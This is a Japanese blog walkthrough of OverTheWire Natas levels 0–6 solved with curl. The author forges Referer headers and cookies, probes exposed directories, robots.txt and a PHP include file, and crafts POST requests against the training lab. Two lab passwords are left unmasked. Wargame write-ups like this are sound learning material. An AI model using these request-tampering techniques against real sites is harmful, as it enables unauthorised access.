Curlでnatasに挑戦

サーバ

overthewire面白いですね。新しいアプローチ方法を知るとワクワクしてきます。
今回はnatasをCurlで攻略できるのかやってみたので、その経過を残しておきます。
まだクリアしていない人はネタバレになってしまうので、注意してください。

リンクはこちら

OverTheWire: Natas

環境

windows 11 home
curl 8.16.0

きっかけ

 出先でスマホを使ってnatasをクリアできないかと思ったことがきっかけです。
 スマホのブラウザをつかってソースを見るだけでも一苦労です(HPのソースを表示させるスクリプトを仕込んだHPを作成しました;)ので、思い切ってTermuxでCurlを使った方が面白いんじゃないかと思い始めました。
 自宅ではwindowsを使っているので、windowsのcmdを使った方法について記載します。

natas0 Curlでのbasic認証接続

 natasでは、basic認証を使ってログインしなければ問題を読むことができません。
 Curlによるnatasへのbasic認証コマンド

# natas0への接続コマンド
# curl -u "arg0:arg1" URL (basic認証によるユーザアクセス)
#         arg0 : ユーザ名
#         arg1 : パスワード
c:\ > curl -u "natas0:natas0" http://natas0.natas.labs.overthewire.org
:
<!--The password for natas1 is ************ -->
:
# findstrを使用すると
c:\ > curl -u "natas0:natas0" http://natas0.natas.labs.overthewire.org | findstr "pass"

natas0はbasic認証を通過するだけで次のパスワードを入手することができます。
natas1のパスワードを取得することができました。

Curlでnatas1に挑戦

 natas1では、ブラウザ上でスクリプトによる右クリック妨害が入りますが、Curlならなんの問題もありません。
 natas2のパスワードを取得することができました。

# natas1
c:\ > curl -u "natas1:************" http://natas1.natas.labs.overthewire.org
:
<!--The password for natas2 is ************ -->

Curlでnatas2に挑戦

 natas2に接続すると、次のようなHTMLを取得することができます。
 ページには、「There is nothing on this page」と表示されるようですが、画像を参照しているようです。

# natas2 ページの取得
c:\ > curl -u "natas2:************" http://natas2.natas.labs.overthewire.org
:
<body>
<h1>natas2</h1>
<div id="content">
There is nothing on this page
<img src="files/pixel.png">
</div>
</body>

 画像がおかれているPATHを参照すると、画像ファイル以外のファイルも閲覧できる状態になっています。
/files/以下には、
 pixel.png
 users.txt
が置かれているようです。

# natas2 filesパス以下に置かれているファイルの一覧取得
c:\ > curl -u "natas2:************"  http://natas2.natas.labs.overthewire.org/files/
:
<tr>
  <td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td>
  <td><a href="pixel.png">pixel.png</a></td>
  <td align="right">2025-10-14 09:06  </td>
  <td align="right">303 </td>
  <td>&nbsp;</td>
</tr>
<tr>
  <td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td>
  <td><a href="users.txt">users.txt</a></td>
  <td align="right">2025-10-14 09:06  </td>
  <td align="right">145 </td>
  <td>&nbsp;</td>
</tr>
:

 users.txtが怪しいので表示させます。

# natas2 users.txtの内容を表示
c:\ > curl -u "natas2:************"  http://natas2.natas.labs.overthewire.org/files/users.txt
# username:password
:
natas3:************
:

 natas3のパスワードを取得することができました。

Curlでnatas3に挑戦

natas3に接続すると、次のようなHTMLを取得することができます。
  このページには何もない
  #コメント 情報漏洩はもうしない!今回こそGoogleにも見つけられない。
と書かれています。

# natas3 ページの取得
c:\ > curl -u "natas3:************" http://natas3.natas.labs.overthewire.org/
:
There is nothing on this page
<!-- No more information leaks!! Not even Google will find it this time... -->
:

 きっとこの方は、googleによって情報漏えいされた深い怨恨の情を持っているようです。
 googleはbotによるクローラを行う際に、robots.txtを確認することとなっていますので、対象ページにrobots.txtがあるかを確認します。

# natas3 robots.txtの確認
c:\ > curl -u "natas3:************" http://natas3.natas.labs.overthewire.org/robots.txt
User-agent: *
Disallow: /s3cr3t/

 User-agent: * # 全てのクローラーに設定を適用させる
 Disallow: /s3cr3t/ # フォルダへの接続を禁止する

 この内容から、クローラーからs3cr3tフォルダに接続をさせたくないという意図が感じられますので、何かありそうですね。

# natas3 s3cr3tフォルダへのアクセス
c:\ > curl -u "natas3:************" http://natas3.natas.labs.overthewire.org/s3cr3t/
:
<tr>
  <td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td>
  <td><a href="users.txt">users.txt</a></td>
  <td align="right">2025-10-14 09:06  </td>
  <td align="right"> 40 </td>
  <td>&nbsp;</td>
</tr>
:

 users.txtが見つかるので、表示してみましょう。

# natas3 users.txtの表示
c:\ > curl -u "natas3:************" http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt
natas4:************

 natas4のパスワードを取得することができました。

Curlでnatas4に挑戦

 natas4に接続すると、次のようなHTMLを取得することができます。
    あなたは””からアクセスしています
    許可されたユーザーは”http://natas5.natas.labs.overthewire.org/”から来るべきです
接続元のURLは、リファラに保存されていますので、リファラを変更する問題のようです。
 Refresh pageリンクを選択すると、ページの更新を行うようですね。

# natas4 ページの表示
c:\ > curl -u "natas4:************" http://natas4.natas.labs.overthewire.org/
:
Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"<br/>
<div id="viewsource"><a href="index.php">Refresh page</a></div>
:

●Curlを使ってリファラを変更する方法

# Curlによるリファラの変更方法
# curl -H "Referer:arg0" URL
#         arg0 : 遷移元ページのURL
c:\ > curl -u "natas4:************" -H "Referer:tanuki" http://natas4.natas.labs.overthewire.org/
:
Access disallowed. You are visiting from "tanuki" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"
:
# 存在しないURL[tanuki]から接続したと表示されている様子

このコマンドを使って、リファラをnatas5に変更してみます。

# natas4 リファラの上書き
c:\ > curl -u "natas4:************" -H "Referer: http://natas5.natas.labs.overthewire.org/" http://natas4.natas.labs.overthewire.org/
:
Access granted. The password for natas5 is ************
:

natas5のパスワードを取得することができました。

Curlでnatas5に挑戦

 natas5に接続すると、次のようなHTMLを取得することができます。
   ログインしていません
等と書かれています。

# natas5 ページの表示
c:\ > curl -u "natas5:************" http://natas5.natas.labs.overthewire.org/ 
:
Access disallowed. You are not logged in
:

 ログインフォームも無いようです。
 どのようなリクエストを送受信しているのか確認してみます。

# natas6 ヘッダー情報を表示
c:\ >curl -v -u "natas5:************" http://natas5.natas.labs.overthewire.org/
* Host natas5.natas.labs.overthewire.org:80 was resolved.
:
< HTTP/1.1 200 OK
< Date: Tue, 25 Nov 2025 01:48:56 GMT
< Set-Cookie: loggedin=0
:

 cookie情報に、
   Set-Cookie: loggedin=0
というパラメータが送られていることがわかります。
 一般的に0→False 1→True として扱うことが多いので、この値を、
   0→1
とすることでログインできるかもしれません。

●Cookieの変更方法

# Curlによるcookieの変更方法
# curl -b "arg0:arg1" URL
#         arg0 : cookieパラメータ名
#         arg1 : value値
curl -v -u "natas5:************" -b "loggedin=tanuki" http://natas5.natas.labs.overthewire.org/
:
Cookie: loggedin=tanuki
:
# cookieに適当な値が格納されている様子

 この方法を使ってcookie情報を
  loggedin=1
に変更します。

# natas5 cookieの上書き
c:\ > curl -u "natas5:0n35PkggAPm2zbEpOU802c0x0Msn1ToK" -b "loggedin=1" http://natas5.natas.labs.overthewire.org/
:
Access granted. The password for natas6 is ************

 natas6のパスワードを取得することができました。

Curlでnatas6に挑戦

 natas6に接続すると、次のようなHTMLを取得することができます。

#natas6 ページの表示
c:\ > curl -u "natas6:************" http://natas6.natas.labs.overthewire.org/
:
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
:

 このページではindex-source.htmlを使ってページのソースコードをヒントに表示させてくれるようです。

# natas6 ソースコードの表示
c:\ > curl -u "natas6:0RoJwHdSKWFTYR5WuiAewauSuNaBXned" http://natas6.natas.labs.overthewire.org/index-source.html
<code><span style="color: #000000">
&lt;html&gt;<br />&lt;head&gt;<br />&lt;!--&nbsp;This&nbsp;stuff&nbsp;in&nbsp;the&nbsp;header&nbsp;has&nbsp;nothing&nbsp;to&nbsp;do&nbsp;with&nbsp;the&nbsp;level&nbsp;--&gt;<br />&lt;link&nbsp;rel="stylesheet"&nbsp;type="text/css"&nbsp;href="http://natas.labs.overthewire.org/css/level.css"&gt;<br />&lt;link&nbsp;rel="stylesheet"&nbsp;href="http://natas.labs.overthewire.org/css/jquery-ui.css"&nbsp;/&gt;<br />&lt;link&nbsp;rel="stylesheet"&nbsp;href="http://natas.labs.overthewire.org/css/wechall.css"&nbsp;/&gt;<br />&lt;script&nbsp;src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"&gt;&lt;/script&gt;<br />&lt;script&nbsp;src="http://natas.labs.overthewire.org/js/jquery-ui.js"&gt;&lt;/script&gt;<br />&lt;script&nbsp;src=http://natas.labs.overthewire.org/js/wechall-data.js&gt;&lt;/script&gt;&lt;script&nbsp;src="http://natas.labs.overthewire.org/js/wechall.js"&gt;&lt;/script&gt;<br />&lt;script&gt;var&nbsp;wechallinfo&nbsp;=&nbsp;{&nbsp;"level":&nbsp;"natas6",&nbsp;"pass":&nbsp;"&lt;censored&gt;"&nbsp;};&lt;/script&gt;&lt;/head&gt;<br />&lt;body&gt;<br />&lt;h1&gt;natas6&lt;/h1&gt;<br />&lt;div&nbsp;id="content"&gt;<br /><br /><span style="color: #0000BB">&lt;?<br /><br /></span><span style="color: #007700">include&nbsp;</span><span style="color: #DD0000">"includes/secret.inc"</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">array_key_exists</span><span style="color: #007700">(</span><span style="color: #DD0000">"submit"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$secret&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'secret'</span><span style="color: #007700">])&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;</span><span style="color: #DD0000">"Access&nbsp;granted.&nbsp;The&nbsp;password&nbsp;for&nbsp;natas7&nbsp;is&nbsp;&lt;censored&gt;"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;</span><span style="color: #DD0000">"Wrong&nbsp;secret"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /></span><span style="color: #0000BB">?&gt;<br /></span><br />&lt;form&nbsp;method=post&gt;<br />Input&nbsp;secret:&nbsp;&lt;input&nbsp;name=secret&gt;&lt;br&gt;<br />&lt;input&nbsp;type=submit&nbsp;name=submit&gt;<br />&lt;/form&gt;<br /><br />&lt;div&nbsp;id="viewsource"&gt;&lt;a&nbsp;href="index-source.html"&gt;View&nbsp;sourcecode&lt;/a&gt;&lt;/div&gt;<br />&lt;/div&gt;<br />&lt;/body&gt;<br />&lt;/html&gt;<br /></span>
</code>

 ソースコードを表示するためには、<や>などの記号をエスケープさせる必要があるので、こうなりますよね。
 このままでは読みにくいので、可読化するためのスクリプトを作ります。
 機能
   htmlデコード
   不要なタグの除去 -nospanスイッチ [<span~>本文</span>] → [本文]

# decode_html.py
import sys
import os
import html
import re

def main():
    args = sys.argv[1:]
    if not args:
        print("使い方: python decode_html.py inputfile [outputfile] [-nospan]")
        sys.exit(1)

    input_file = None
    output_file = None
    nospan = False
    for a in args:
        if a == "-nospan":
            nospan = True
        elif not input_file:
            input_file = a
        elif not output_file:
            output_file = a

    if not input_file:
        print("エラー: input ファイルが指定されていません")
        sys.exit(1)

    if not output_file:
        base, ext = os.path.splitext(input_file)
        output_file = base + "_out.txt"

    # ファイル読み込み
    with open(input_file, "r", encoding="utf-8") as f:
        data = f.read()

    # HTMLデコード
    decoded = html.unescape(data)

    # <br> → 改行
    decoded = re.sub(r'<br\s*/?>', '\n', decoded, flags=re.IGNORECASE)

    # <span>タグ削除
    if nospan:
        # <span ...> を削除
        decoded = re.sub(r'<span[^>]*>', '', decoded, flags=re.IGNORECASE)
        # </span> を削除
        decoded = re.sub(r'</span>', '', decoded, flags=re.IGNORECASE)

    # 書き出し
    with open(output_file, "w", encoding="utf-8") as f:
        f.write(decoded)
    print(f"完了: {output_file} に保存しました(nospan={nospan})")

if __name__ == "__main__":
    main()

 このプログラムを通すと、先ほどのソース(index-source.html)がこうなります。
 ダウンロードしたファイルはutf8で保存されているので、画面上に表示するためにはターミナルの文字コード変更が必要です。

# natas6 HTMLデコード
c:\ > chcp 65001   # 文字コードをutf8に変更(戻すときは chcp 932)
c:\ > cd c:\{tmp}  # decode_html.pyを保存した場所
c:\ > curl -u "natas6:************" http://natas6.natas.labs.overthewire.org/index-source.html > natas6_src.txt
c:\ > python decode_html.py -nospan natas6_src.txt
完了: natas6_src_out.txt に保存しました(nospan=True)
c:\ > type natas6_src_out.txt
:
<?
include "includes/secret.inc";
    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>
:

かなり見やすくなりました。
 内容を確認すると、
  includes/secret.inc
を読み込んで、$_POST[‘secret’]の値と同じ値が入っていればパスワードが表示される仕組みのようです。
 secret.incを開いて内容を確認します。

# natas6 includes/secret.incの表示
curl -u "natas6:************" http://natas6.natas.labs.overthewire.org/includes/secret.inc
<?
$secret = "**********";
?>

 これでsecret がわかりました。
 ブラウザなら、この値を入力してsubmitボタンをクリックするだけですが、全てCurlで回答したいので、POSTメソッドをCurlで作成します。

●CurlによるPOSTパラメータを送信する方法

# CurlによるPOSTパラメータの送信
# curl -X POST -d "arg0=arg1" URL
#         arg0 : パラメータ名
#         arg1 : value値
curl -v -u "natas6:************" -X POST -d "key=aaa" http://natas6.natas.labs.overthewire.org/
:
POST / HTTP/1.1  # 内容は表示されない
:

# 複数のパラメータを送る方法
curl -v -u "natas6:************" -X POST -d "key1=aaa" -d "key2=bbb" http://natas6.natas.labs.overthewire.org/

 この方法を使ってCurlで回答すると答えが返ってきません。
 secretを比較して
  Wrong secret / PASSWORD
が表示されるはずです。

# natas6 回答1
c:\ > curl -v -u "natas6:************" -X POST  -d "secret=************" http://natas6.natas.labs.overthewire.org/
:
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>
: 
# 何も表示されない様子

 これは、次のPHPプログラム
  if(array_key_exists(“submit”, $_POST)) {
による分岐があるためです。
 submitに値が入っていなければ、ボタンを押したことにならないからです。
 submitが押されたということをWebサーバに伝えるために、
   submit=ok
というパラメータも併せて送ります。

# natas6 回答2
c:\ > curl -u "natas6:************" -X POST -d "submit=ok"  -d "secret=************" http://natas6.natas.labs.overthewire.org/
:
Access granted. The password for natas7 is ************
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>
:
# パスワードが表示された様子

natas7のパスワードを取得することができました。

思ったこと

 意外とCurlでも進めることがわかりました。
 ブラウザで簡単にできることがCurlだとうまくいかなかったりするのですが、原因を追究すると問題以外の部分で今まで気づかなかったことに気づくことができました。
 自分でCTF環境を構築するときに参考になりそうです。